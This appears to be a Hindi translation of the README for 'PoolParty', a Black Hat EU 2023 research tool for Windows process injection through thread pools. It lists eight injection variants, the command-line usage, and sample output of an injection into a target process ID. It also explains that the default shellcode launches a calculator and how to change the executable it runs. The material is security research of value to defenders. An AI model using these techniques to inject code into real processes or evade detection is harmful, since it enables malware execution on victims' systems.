
विंडोज थ्रेड पूल का दुरुपयोग करके पूरी तरह से अज्ञेय प्रक्रिया इंजेक्शन तकनीकों का एक सेट
पूर्णतः-अनडिटेक्टेबल प्रक्रिया इंजेक्शन तकनीकों का एक संग्रह जो विंडोज थ्रेड पूल का दुरुपयोग करती हैं। ब्लैक हैट EU 2023 ब्रीफिंग्स में शीर्षक के तहत प्रस्तुत - The Pool Party You Will Never Forget: New Process Injection Techniques Using Windows Thread Pools
| वेरिएंट आईडी | वेरिएंट विवरण |
|---|---|
| 1 | लक्ष्य वर्कर फैक्ट्री के स्टार्ट रूटीन को ओवरराइट करें |
| 2 | लक्ष्य प्रक्रिया के थ्रेड पूल में TP_WORK कार्य आइटम डालें |
| 3 | लक्ष्य प्रक्रिया के थ्रेड पूल में TP_WAIT कार्य आइटम डालें |
| 4 | लक्ष्य प्रक्रिया के थ्रेड पूल में TP_IO कार्य आइटम डालें |
| 5 | लक्ष्य प्रक्रिया के थ्रेड पूल में TP_ALPC कार्य आइटम डालें |
| 6 | लक्ष्य प्रक्रिया के थ्रेड पूल में TP_JOB कार्य आइटम डालें |
| 7 | लक्ष्य प्रक्रिया के थ्रेड पूल में TP_DIRECT कार्य आइटम डालें |
| 8 | लक्ष्य प्रक्रिया के थ्रेड पूल में TP_TIMER कार्य आइटम डालें |
PoolParty.exe -V <VARIANT ID> -P <TARGET PID>
प्रक्रिया ID 1234 में TP_TIMER कार्य आइटम डालें
>> PoolParty.exe -V 8 -P 1234
[info] Starting PoolParty attack against process id: 1234
[info] Retrieved handle to the target process: 00000000000000B8
[info] Hijacked worker factory handle from the target process: 0000000000000058
[info] Hijacked timer queue handle from the target process: 0000000000000054
[info] Allocated shellcode memory in the target process: 00000281DBEF0000
[info] Written shellcode to the target process
[info] Retrieved target worker factory basic information
[info] Created TP_TIMER structure associated with the shellcode
[info] Allocated TP_TIMER memory in the target process: 00000281DBF00000
[info] Written the specially crafted TP_TIMER structure to the target process
[info] Modified the target process's TP_POOL tiemr queue list entry to point to the specially crafted TP_TIMER
[info] Set the timer queue to expire to trigger the dequeueing TppTimerQueueExpiration
[info] PoolParty attack completed successfully
डिफ़ॉल्ट शेलकोड WinExec API के माध्यम से एक कैलकुलेटर चलाता है।
निष्पादित करने के लिए एक्जीक्यूटेबल को अनुकूलित करने के लिए, main.cpp फ़ाइल में मौजूद g_Shellcode वेरिएबल के अंत में पथ बदलें।